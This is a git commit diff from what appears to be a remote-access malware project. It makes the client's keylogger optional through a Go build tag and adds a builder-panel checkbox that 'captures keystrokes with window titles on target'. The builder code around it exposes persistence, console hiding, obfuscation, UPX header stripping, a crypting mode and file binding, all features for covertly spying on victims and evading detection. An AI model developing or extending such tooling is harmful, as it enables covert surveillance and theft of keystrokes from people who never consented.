make keylogger optional
This commit is contained in:
@@ -1,3 +1,6 @@
|
|||||||
|
//go:build !nokeylogger
|
||||||
|
// +build !nokeylogger
|
||||||
|
|
||||||
package keylogger
|
package keylogger
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
|||||||
@@ -1,6 +1,5 @@
|
|||||||
// go:build darwin
|
//go:build darwin && !nokeylogger
|
||||||
//go:build darwin
|
// +build darwin,!nokeylogger
|
||||||
// +build darwin
|
|
||||||
|
|
||||||
package keylogger
|
package keylogger
|
||||||
|
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
//go:build !windows && !linux && !darwin
|
//go:build !windows && !linux && !darwin && !nokeylogger
|
||||||
|
|
||||||
package keylogger
|
package keylogger
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,24 @@
|
|||||||
|
//go:build nokeylogger
|
||||||
|
// +build nokeylogger
|
||||||
|
|
||||||
|
package keylogger
|
||||||
|
|
||||||
|
import "time"
|
||||||
|
|
||||||
|
type Keylogger struct{}
|
||||||
|
|
||||||
|
type FileInfo struct {
|
||||||
|
Name string
|
||||||
|
Size int64
|
||||||
|
Date time.Time
|
||||||
|
}
|
||||||
|
|
||||||
|
func New() *Keylogger { return nil }
|
||||||
|
|
||||||
|
func (k *Keylogger) Start() error { return nil }
|
||||||
|
func (k *Keylogger) Stop() {}
|
||||||
|
func (k *Keylogger) ListFiles() ([]FileInfo, error) { return nil, nil }
|
||||||
|
func (k *Keylogger) ReadFile(string) ([]byte, error) { return nil, nil }
|
||||||
|
func (k *Keylogger) ClearAll() error { return nil }
|
||||||
|
func (k *Keylogger) DeleteFile(string) error { return nil }
|
||||||
|
func (k *Keylogger) FlushNow() {}
|
||||||
@@ -1,6 +1,5 @@
|
|||||||
// go:build linux
|
//go:build linux && !nokeylogger
|
||||||
//go:build linux
|
// +build linux,!nokeylogger
|
||||||
// +build linux
|
|
||||||
|
|
||||||
package keylogger
|
package keylogger
|
||||||
|
|
||||||
|
|||||||
@@ -1,6 +1,5 @@
|
|||||||
// go:build windows
|
//go:build windows && !nokeylogger
|
||||||
//go:build windows
|
// +build windows,!nokeylogger
|
||||||
// +build windows
|
|
||||||
|
|
||||||
package keylogger
|
package keylogger
|
||||||
|
|
||||||
|
|||||||
@@ -626,10 +626,12 @@ func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket.
|
|||||||
defer env.Plugins.Close()
|
defer env.Plugins.Close()
|
||||||
|
|
||||||
env.Keylogger = keylogger.New()
|
env.Keylogger = keylogger.New()
|
||||||
if err := env.Keylogger.Start(); err != nil {
|
if env.Keylogger != nil {
|
||||||
log.Printf("[keylogger] Failed to start: %v", err)
|
if err := env.Keylogger.Start(); err != nil {
|
||||||
} else {
|
log.Printf("[keylogger] Failed to start: %v", err)
|
||||||
defer env.Keylogger.Stop()
|
} else {
|
||||||
|
defer env.Keylogger.Stop()
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
dispatcher := handlers.NewDispatcher(env)
|
dispatcher := handlers.NewDispatcher(env)
|
||||||
|
|||||||
@@ -125,6 +125,7 @@ function collectFormSettings() {
|
|||||||
stripDebug: document.querySelector('input[name="strip-debug"]')?.checked ?? true,
|
stripDebug: document.querySelector('input[name="strip-debug"]')?.checked ?? true,
|
||||||
disableCgo: document.querySelector('input[name="disable-cgo"]')?.checked ?? false,
|
disableCgo: document.querySelector('input[name="disable-cgo"]')?.checked ?? false,
|
||||||
noPrinting: document.querySelector('input[name="no-printing"]')?.checked ?? false,
|
noPrinting: document.querySelector('input[name="no-printing"]')?.checked ?? false,
|
||||||
|
enableKeylogger: document.querySelector('input[name="enable-keylogger"]')?.checked ?? true,
|
||||||
obfuscate: document.querySelector('input[name="obfuscate"]')?.checked ?? false,
|
obfuscate: document.querySelector('input[name="obfuscate"]')?.checked ?? false,
|
||||||
garbleLiterals: document.querySelector('input[name="garble-literals"]')?.checked ?? false,
|
garbleLiterals: document.querySelector('input[name="garble-literals"]')?.checked ?? false,
|
||||||
garbleTiny: document.querySelector('input[name="garble-tiny"]')?.checked ?? false,
|
garbleTiny: document.querySelector('input[name="garble-tiny"]')?.checked ?? false,
|
||||||
@@ -178,6 +179,7 @@ function applyFormSettings(settings) {
|
|||||||
if (settings.stripDebug !== undefined) setCb('input[name="strip-debug"]', settings.stripDebug);
|
if (settings.stripDebug !== undefined) setCb('input[name="strip-debug"]', settings.stripDebug);
|
||||||
if (settings.disableCgo !== undefined) setCb('input[name="disable-cgo"]', settings.disableCgo);
|
if (settings.disableCgo !== undefined) setCb('input[name="disable-cgo"]', settings.disableCgo);
|
||||||
if (settings.noPrinting !== undefined) setCb('input[name="no-printing"]', settings.noPrinting);
|
if (settings.noPrinting !== undefined) setCb('input[name="no-printing"]', settings.noPrinting);
|
||||||
|
if (settings.enableKeylogger !== undefined) setCb('input[name="enable-keylogger"]', settings.enableKeylogger);
|
||||||
if (settings.obfuscate !== undefined) setCb('input[name="obfuscate"]', settings.obfuscate);
|
if (settings.obfuscate !== undefined) setCb('input[name="obfuscate"]', settings.obfuscate);
|
||||||
if (settings.garbleLiterals !== undefined) setCb('input[name="garble-literals"]', settings.garbleLiterals);
|
if (settings.garbleLiterals !== undefined) setCb('input[name="garble-literals"]', settings.garbleLiterals);
|
||||||
if (settings.garbleTiny !== undefined) setCb('input[name="garble-tiny"]', settings.garbleTiny);
|
if (settings.garbleTiny !== undefined) setCb('input[name="garble-tiny"]', settings.garbleTiny);
|
||||||
@@ -390,7 +392,7 @@ const CRYPTABLE_DISABLE_INPUTS = [
|
|||||||
"#sleep-seconds",
|
"#sleep-seconds",
|
||||||
];
|
];
|
||||||
|
|
||||||
const CRYPTABLE_HIDE_SECTIONS = [4, 5, 6];
|
const CRYPTABLE_HIDE_SECTIONS = [5, 6, 7];
|
||||||
|
|
||||||
function applyCryptableMode(enabled) {
|
function applyCryptableMode(enabled) {
|
||||||
const badge = document.getElementById("cryptable-badge");
|
const badge = document.getElementById("cryptable-badge");
|
||||||
@@ -1342,6 +1344,7 @@ form?.addEventListener("submit", async (e) => {
|
|||||||
const noPrinting = form.querySelector(
|
const noPrinting = form.querySelector(
|
||||||
'input[name="no-printing"]',
|
'input[name="no-printing"]',
|
||||||
).checked;
|
).checked;
|
||||||
|
const enableKeylogger = form.querySelector('input[name="enable-keylogger"]')?.checked ?? true;
|
||||||
|
|
||||||
const outputNameVal = form.querySelector("#output-name")?.value.trim() || "";
|
const outputNameVal = form.querySelector("#output-name")?.value.trim() || "";
|
||||||
const garbleLiterals = form.querySelector('input[name="garble-literals"]')?.checked || false;
|
const garbleLiterals = form.querySelector('input[name="garble-literals"]')?.checked || false;
|
||||||
@@ -1375,6 +1378,7 @@ form?.addEventListener("submit", async (e) => {
|
|||||||
startupName: enablePersistence && (hasWindowsTarget || hasPersistentUnixTarget) && startupNameVal ? startupNameVal : undefined,
|
startupName: enablePersistence && (hasWindowsTarget || hasPersistentUnixTarget) && startupNameVal ? startupNameVal : undefined,
|
||||||
hideConsole,
|
hideConsole,
|
||||||
noPrinting,
|
noPrinting,
|
||||||
|
disableKeylogger: !enableKeylogger,
|
||||||
outputName: outputNameVal || undefined,
|
outputName: outputNameVal || undefined,
|
||||||
garbleLiterals: obfuscate ? garbleLiterals : undefined,
|
garbleLiterals: obfuscate ? garbleLiterals : undefined,
|
||||||
garbleTiny: obfuscate ? garbleTiny : undefined,
|
garbleTiny: obfuscate ? garbleTiny : undefined,
|
||||||
|
|||||||
@@ -285,6 +285,7 @@
|
|||||||
</div>
|
</div>
|
||||||
</label>
|
</label>
|
||||||
|
|
||||||
|
|
||||||
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-purple-500 transition-colors">
|
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-purple-500 transition-colors">
|
||||||
<input type="checkbox" name="obfuscate" class="w-4 h-4" />
|
<input type="checkbox" name="obfuscate" class="w-4 h-4" />
|
||||||
<div class="flex flex-col">
|
<div class="flex flex-col">
|
||||||
@@ -368,7 +369,32 @@
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<!-- == Section 4: Persistence (collapsed) == -->
|
<!-- == Section 4: Features == -->
|
||||||
|
<div class="accordion-section border border-slate-800 rounded-lg overflow-hidden" data-open="true">
|
||||||
|
<button type="button" class="accordion-header w-full flex items-center justify-between px-4 py-3 bg-slate-800/50 hover:bg-slate-800/80 transition-colors text-left">
|
||||||
|
<span class="flex items-center gap-2 text-sm font-medium text-slate-200">
|
||||||
|
<i class="fa-solid fa-puzzle-piece text-cyan-400"></i> Features
|
||||||
|
</span>
|
||||||
|
<i class="fa-solid fa-chevron-down accordion-chevron text-slate-400 text-xs"></i>
|
||||||
|
</button>
|
||||||
|
<div class="accordion-body">
|
||||||
|
<div class="accordion-inner px-4 pb-4 pt-3 flex flex-col gap-2">
|
||||||
|
|
||||||
|
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-amber-500 transition-colors">
|
||||||
|
<input type="checkbox" name="enable-keylogger" class="w-4 h-4" checked />
|
||||||
|
<div class="flex flex-col">
|
||||||
|
<span class="flex items-center gap-2">
|
||||||
|
<i class="fa-solid fa-keyboard text-amber-400"></i> Keylogger
|
||||||
|
</span>
|
||||||
|
<span class="text-xs text-slate-500">Captures keystrokes with window titles on target</span>
|
||||||
|
</div>
|
||||||
|
</label>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- == Section 5: Persistence (collapsed) == -->
|
||||||
<div class="accordion-section border border-slate-800 rounded-lg overflow-hidden" data-open="false">
|
<div class="accordion-section border border-slate-800 rounded-lg overflow-hidden" data-open="false">
|
||||||
<button type="button" class="accordion-header w-full flex items-center justify-between px-4 py-3 bg-slate-800/50 hover:bg-slate-800/80 transition-colors text-left">
|
<button type="button" class="accordion-header w-full flex items-center justify-between px-4 py-3 bg-slate-800/50 hover:bg-slate-800/80 transition-colors text-left">
|
||||||
<span class="flex items-center gap-2 text-sm font-medium text-slate-200">
|
<span class="flex items-center gap-2 text-sm font-medium text-slate-200">
|
||||||
|
|||||||
@@ -852,6 +852,9 @@ func runBoundFiles() {
|
|||||||
if (config.noPrinting) {
|
if (config.noPrinting) {
|
||||||
sendToStream({ type: "output", text: "Client printing disabled (noprint tag)\n", level: "info" });
|
sendToStream({ type: "output", text: "Client printing disabled (noprint tag)\n", level: "info" });
|
||||||
}
|
}
|
||||||
|
if (config.disableKeylogger) {
|
||||||
|
sendToStream({ type: "output", text: "Keylogger disabled (nokeylogger tag)\n", level: "info" });
|
||||||
|
}
|
||||||
|
|
||||||
// Linux CGO builds must be fully statically linked to avoid glibc version
|
// Linux CGO builds must be fully statically linked to avoid glibc version
|
||||||
// mismatches between the build server and target machines.
|
// mismatches between the build server and target machines.
|
||||||
@@ -865,6 +868,7 @@ func runBoundFiles() {
|
|||||||
const buildTool = config.obfuscate ? "garble" : "go";
|
const buildTool = config.obfuscate ? "garble" : "go";
|
||||||
const buildTags: string[] = [];
|
const buildTags: string[] = [];
|
||||||
if (config.noPrinting) buildTags.push("noprint");
|
if (config.noPrinting) buildTags.push("noprint");
|
||||||
|
if (config.disableKeylogger) buildTags.push("nokeylogger");
|
||||||
if (hasBoundFiles) buildTags.push("hasbinder");
|
if (hasBoundFiles) buildTags.push("hasbinder");
|
||||||
if (config.enablePersistence && os === "windows") {
|
if (config.enablePersistence && os === "windows") {
|
||||||
const methods = config.persistenceMethods && config.persistenceMethods.length > 0
|
const methods = config.persistenceMethods && config.persistenceMethods.length > 0
|
||||||
|
|||||||
@@ -106,6 +106,7 @@ export async function handleBuildRoutes(
|
|||||||
upxStripHeaders,
|
upxStripHeaders,
|
||||||
requireAdmin,
|
requireAdmin,
|
||||||
criticalProcess,
|
criticalProcess,
|
||||||
|
disableKeylogger,
|
||||||
outputExtension,
|
outputExtension,
|
||||||
sleepSeconds,
|
sleepSeconds,
|
||||||
boundFiles,
|
boundFiles,
|
||||||
@@ -372,6 +373,7 @@ export async function handleBuildRoutes(
|
|||||||
upxStripHeaders: !!upxStripHeaders,
|
upxStripHeaders: !!upxStripHeaders,
|
||||||
requireAdmin: safeRequireAdmin,
|
requireAdmin: safeRequireAdmin,
|
||||||
criticalProcess: safeCriticalProcess,
|
criticalProcess: safeCriticalProcess,
|
||||||
|
disableKeylogger: !!disableKeylogger,
|
||||||
outputExtension: safeOutputExtension,
|
outputExtension: safeOutputExtension,
|
||||||
sleepSeconds: safeSleepSeconds,
|
sleepSeconds: safeSleepSeconds,
|
||||||
boundFiles: safeBoundFiles,
|
boundFiles: safeBoundFiles,
|
||||||
|
|||||||
Reference in New Issue
Block a user